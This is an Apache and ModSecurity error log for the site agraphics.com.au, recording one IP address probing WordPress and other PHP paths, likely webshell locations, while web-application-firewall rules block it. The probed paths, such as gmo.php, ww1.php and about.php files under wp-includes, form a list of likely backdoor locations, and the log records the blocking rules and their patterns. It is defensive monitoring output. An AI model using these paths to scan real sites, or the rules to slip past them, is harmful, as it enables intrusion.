[Sat Jan 10 04:50:05.363082 2026] [proxy_fcgi:error] [pid 20647:tid 20704] [client 65.52.163.14:1939] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:50:05.483783 2026] [proxy_fcgi:error] [pid 20647:tid 20706] [client 65.52.163.14:1939] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:50:05.724943 2026] [proxy_fcgi:error] [pid 20647:tid 20683] [client 65.52.163.14:1939] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:50:05.964794 2026] [proxy_fcgi:error] [pid 20647:tid 20684] [client 65.52.163.14:1939] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:50:06.085009 2026] [proxy_fcgi:error] [pid 20647:tid 20682] [client 65.52.163.14:1939] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:50:06.206399 2026] [proxy_fcgi:error] [pid 20647:tid 20694] [client 65.52.163.14:1939] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:50:06.326766 2026] [proxy_fcgi:error] [pid 20647:tid 20700] [client 65.52.163.14:1939] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:50:06.447580 2026] [proxy_fcgi:error] [pid 20647:tid 20692] [client 65.52.163.14:1939] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:50:06.571650 2026] [:error] [pid 20647:tid 20685] [client 65.52.163.14:1939] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aWFp_qvb0x69MarUHzCXKAAAAEM"]
[Sat Jan 10 04:50:06.811374 2026] [:error] [pid 20744:tid 20761] [client 65.52.163.14:1873] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aWFp_kA8oR5jvkFpcP9SSgAAAMQ"]
[Sat Jan 10 04:50:07.069719 2026] [:error] [pid 20647:tid 20688] [client 65.52.163.14:2034] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aWFp_6vb0x69MarUHzCXKgAAAEY"]
[Sat Jan 10 04:50:07.304408 2026] [:error] [pid 20648:tid 20710] [client 65.52.163.14:1947] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aWFp_zBnnIoBkEBdx9D2AQAAAIE"]
[Sat Jan 10 04:50:07.547727 2026] [:error] [pid 20648:tid 20723] [client 65.52.163.14:1890] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aWFp_zBnnIoBkEBdx9D2AgAAAI4"]
[Sat Jan 10 04:50:07.808599 2026] [:error] [pid 20648:tid 20720] [client 65.52.163.14:2040] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aWFp_zBnnIoBkEBdx9D2AwAAAIs"]
[Sat Jan 10 04:50:08.065732 2026] [:error] [pid 20744:tid 20759] [client 65.52.163.14:2036] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aWFqAEA8oR5jvkFpcP9STQAAAMI"]
[Sat Jan 10 04:50:08.326864 2026] [:error] [pid 20648:tid 20732] [client 65.52.163.14:1877] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aWFqADBnnIoBkEBdx9D2BQAAAJc"]
[Sat Jan 10 04:50:08.563408 2026] [:error] [pid 20648:tid 20716] [client 65.52.163.14:1801] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aWFqADBnnIoBkEBdx9D2BgAAAIc"]
[Sat Jan 10 04:50:08.802020 2026] [:error] [pid 20647:tid 20696] [client 65.52.163.14:2165] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aWFqAKvb0x69MarUHzCXKwAAAE4"]
[Sat Jan 10 04:50:09.053271 2026] [:error] [pid 20744:tid 20762] [client 65.52.163.14:2031] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aWFqAUA8oR5jvkFpcP9STgAAAMU"]
[Sat Jan 10 04:50:09.338393 2026] [:error] [pid 20744:tid 20781] [client 65.52.163.14:1940] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aWFqAUA8oR5jvkFpcP9SUAAAANg"]
[Sat Jan 10 04:50:09.586460 2026] [:error] [pid 20744:tid 20758] [client 65.52.163.14:1938] [client 65.52.163.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aWFqAUA8oR5jvkFpcP9SUgAAAME"]
[Sat Jan 10 04:50:09.825812 2026] [:error] [pid 20744:tid 20757] [client 65.52.163.14:2091] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aWFqAUA8oR5jvkFpcP9SUwAAAMA"]
[Sat Jan 10 04:50:10.087338 2026] [:error] [pid 20647:tid 20690] [client 65.52.163.14:1962] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aWFqAqvb0x69MarUHzCXLQAAAEg"]
[Sat Jan 10 04:50:10.356168 2026] [:error] [pid 20647:tid 20689] [client 65.52.163.14:2000] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aWFqAqvb0x69MarUHzCXLgAAAEc"]
[Sat Jan 10 04:50:10.600293 2026] [:error] [pid 20744:tid 20773] [client 65.52.163.14:1964] [client 65.52.163.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aWFqAkA8oR5jvkFpcP9SVQAAANA"]
[Sat Jan 10 04:50:10.837436 2026] [:error] [pid 20744:tid 20760] [client 65.52.163.14:1945] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aWFqAkA8oR5jvkFpcP9SWAAAAMM"]
[Sat Jan 10 04:50:11.132933 2026] [:error] [pid 20648:tid 20709] [client 65.52.163.14:1957] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aWFqAzBnnIoBkEBdx9D2CAAAAIA"]
[Sat Jan 10 04:50:11.402969 2026] [:error] [pid 20647:tid 20699] [client 65.52.163.14:1863] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aWFqA6vb0x69MarUHzCXLwAAAFE"]
[Sat Jan 10 04:50:11.688429 2026] [:error] [pid 20648:tid 20718] [client 65.52.163.14:1886] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aWFqAzBnnIoBkEBdx9D2CgAAAIk"]
[Sat Jan 10 04:50:11.923085 2026] [:error] [pid 20648:tid 20724] [client 65.52.163.14:1882] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aWFqAzBnnIoBkEBdx9D2CwAAAI8"]
[Sat Jan 10 04:50:12.158384 2026] [:error] [pid 20647:tid 20702] [client 65.52.163.14:1804] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aWFqBKvb0x69MarUHzCXMAAAAFQ"]
[Sat Jan 10 04:50:12.399529 2026] [:error] [pid 20647:tid 20698] [client 65.52.163.14:2042] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aWFqBKvb0x69MarUHzCXMQAAAFA"]
[Sat Jan 10 04:50:12.651515 2026] [:error] [pid 20647:tid 20687] [client 65.52.163.14:2094] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aWFqBKvb0x69MarUHzCXMgAAAEU"]
[Sat Jan 10 04:50:12.906831 2026] [:error] [pid 20647:tid 20704] [client 65.52.163.14:2046] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aWFqBKvb0x69MarUHzCXMwAAAFY"]
[Sat Jan 10 04:50:13.140751 2026] [:error] [pid 20648:tid 20719] [client 65.52.163.14:1921] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aWFqBTBnnIoBkEBdx9D2DgAAAIo"]
[Sat Jan 10 04:50:13.374919 2026] [:error] [pid 20647:tid 20695] [client 65.52.163.14:1924] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aWFqBavb0x69MarUHzCXNQAAAE0"]
[Sat Jan 10 04:50:13.628800 2026] [:error] [pid 20647:tid 20683] [client 65.52.163.14:2019] [client 65.52.163.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aWFqBavb0x69MarUHzCXNgAAAEE"]
[Sat Jan 10 04:50:13.899806 2026] [:error] [pid 20647:tid 20684] [client 65.52.163.14:1959] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aWFqBavb0x69MarUHzCXNwAAAEI"]
[Sat Jan 10 04:50:14.159369 2026] [:error] [pid 20646:tid 20676] [client 65.52.163.14:2023] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aWFqBiKwdq_UhOM64b6deAAAABU"]
[Sat Jan 10 04:50:14.415777 2026] [:error] [pid 20647:tid 20700] [client 65.52.163.14:1878] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aWFqBqvb0x69MarUHzCXOgAAAFI"]
[Sat Jan 10 04:50:14.649245 2026] [:error] [pid 20647:tid 20692] [client 65.52.163.14:1880] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aWFqBqvb0x69MarUHzCXOwAAAEo"]
[Sat Jan 10 04:50:14.895017 2026] [:error] [pid 20647:tid 20685] [client 65.52.163.14:2022] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aWFqBqvb0x69MarUHzCXPAAAAEM"]
[Sat Jan 10 04:50:15.130139 2026] [:error] [pid 20647:tid 20688] [client 65.52.163.14:1862] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aWFqB6vb0x69MarUHzCXPQAAAEY"]
[Sat Jan 10 04:50:15.411037 2026] [:error] [pid 20647:tid 20696] [client 65.52.163.14:1928] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aWFqB6vb0x69MarUHzCXQAAAAE4"]
[Sat Jan 10 04:50:15.647647 2026] [:error] [pid 20647:tid 20693] [client 65.52.163.14:1922] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aWFqB6vb0x69MarUHzCXQQAAAEs"]
[Sat Jan 10 04:50:15.879453 2026] [:error] [pid 20647:tid 20699] [client 65.52.163.14:2011] [client 65.52.163.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aWFqB6vb0x69MarUHzCXQgAAAFE"]
[Sat Jan 10 04:50:16.114969 2026] [:error] [pid 20647:tid 20698] [client 65.52.163.14:1903] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aWFqCKvb0x69MarUHzCXQwAAAFA"]
[Sat Jan 10 04:50:16.349055 2026] [:error] [pid 20647:tid 20706] [client 65.52.163.14:2071] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aWFqCKvb0x69MarUHzCXRQAAAFg"]
[Sat Jan 10 04:50:16.582375 2026] [:error] [pid 20648:tid 20733] [client 65.52.163.14:1927] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aWFqCDBnnIoBkEBdx9D2EgAAAJg"]
[Sat Jan 10 04:50:16.853443 2026] [:error] [pid 20744:tid 20762] [client 65.52.163.14:2118] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aWFqCEA8oR5jvkFpcP9SXgAAAMU"]
[Sat Jan 10 04:50:17.097803 2026] [:error] [pid 20647:tid 20683] [client 65.52.163.14:1948] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aWFqCavb0x69MarUHzCXRwAAAEE"]
[Sat Jan 10 04:50:17.360216 2026] [:error] [pid 20648:tid 20725] [client 65.52.163.14:1933] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aWFqCTBnnIoBkEBdx9D2FAAAAJA"]
[Sat Jan 10 04:50:17.617085 2026] [:error] [pid 20647:tid 20684] [client 65.52.163.14:1888] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aWFqCavb0x69MarUHzCXSAAAAEI"]
[Sat Jan 10 04:50:17.884492 2026] [:error] [pid 20648:tid 20710] [client 65.52.163.14:1907] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aWFqCTBnnIoBkEBdx9D2FQAAAIE"]
[Sat Jan 10 04:50:18.156186 2026] [:error] [pid 20646:tid 20670] [client 65.52.163.14:1994] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aWFqCiKwdq_UhOM64b6deQAAAA8"]
[Sat Jan 10 04:50:18.400465 2026] [:error] [pid 20744:tid 20777] [client 65.52.163.14:1992] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aWFqCkA8oR5jvkFpcP9SYQAAANQ"]
[Sat Jan 10 04:50:18.635910 2026] [:error] [pid 20646:tid 20678] [client 65.52.163.14:1970] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aWFqCiKwdq_UhOM64b6degAAABc"]
[Sat Jan 10 04:50:18.879789 2026] [:error] [pid 20648:tid 20720] [client 65.52.163.14:2088] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aWFqCjBnnIoBkEBdx9D2FgAAAIs"]
[Sat Jan 10 04:50:19.112663 2026] [:error] [pid 20648:tid 20732] [client 65.52.163.14:1950] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aWFqCzBnnIoBkEBdx9D2FwAAAJc"]
[Sat Jan 10 04:50:19.354673 2026] [:error] [pid 20647:tid 20688] [client 65.52.163.14:1935] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aWFqC6vb0x69MarUHzCXSwAAAEY"]
[Sat Jan 10 04:50:19.587899 2026] [:error] [pid 20744:tid 20757] [client 65.52.163.14:1895] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aWFqC0A8oR5jvkFpcP9SYwAAAMA"]
